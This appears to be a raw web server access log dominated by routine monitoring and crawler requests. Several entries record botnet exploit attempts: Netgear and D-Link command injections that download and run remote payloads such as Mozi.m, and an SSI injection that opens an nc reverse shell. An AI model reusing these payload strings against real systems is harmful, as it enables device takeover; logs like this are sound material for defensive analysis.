212.91.246.72 - - [29/Feb/2020:10:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:10:34:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:10:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:10:35:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [29/Feb/2020:10:35:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:10:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.90.115.242 - - [29/Feb/2020:10:44:27 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [29/Feb/2020:10:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.42.102.148 - - [29/Feb/2020:10:56:20 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.42.102.148:52215/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [29/Feb/2020:10:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:10:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.165.89.236 - - [29/Feb/2020:10:59:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:10:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:11:01:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:11:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:11:01:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [29/Feb/2020:11:01:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [29/Feb/2020:11:02:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:11:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.85 - - [29/Feb/2020:11:03:02 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.87 - - [29/Feb/2020:11:03:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
45.152.6.58 - - [29/Feb/2020:11:03:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
87.6.153.219 - - [29/Feb/2020:11:03:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:11:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.121.33 - - [29/Feb/2020:11:08:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:11:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [29/Feb/2020:11:16:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:11:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:11:22:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:11:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.115.176.237 - - [29/Feb/2020:11:23:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:11:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [29/Feb/2020:11:23:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:11:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.35.203.171 - - [29/Feb/2020:11:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:11:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.2.167.194 - - [29/Feb/2020:11:31:27 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:11:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.53.180.141 - - [29/Feb/2020:11:32:17 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:11:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.33.47.230 - - [29/Feb/2020:11:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:11:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.66.57.29 - - [29/Feb/2020:11:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:11:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.74.188.131 - - [29/Feb/2020:11:48:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.235.187.66 - - [29/Feb/2020:11:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:11:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [29/Feb/2020:11:54:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:11:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.61.119.223 - - [29/Feb/2020:11:57:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
82.61.119.223 - - [29/Feb/2020:11:57:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
168.227.180.2 - - [29/Feb/2020:11:58:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:11:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:11:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.140.244.144 - - [29/Feb/2020:12:00:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:12:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.90.225.218 - - [29/Feb/2020:12:03:07 +0100] "GET /wp-content/plugins/photo-gallery/filemanager/UploadHandler.php HTTP/1.1" 404 373 "http://www.mike-pedross.de/wp-content/plugins/photo-gallery/filemanager/UploadHandler.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:12:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.120.37.187 - - [29/Feb/2020:12:05:14 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:12:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.186.57 - - [29/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:12:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [29/Feb/2020:12:16:42 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [29/Feb/2020:12:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.57.71.100 - - [29/Feb/2020:12:21:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:12:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
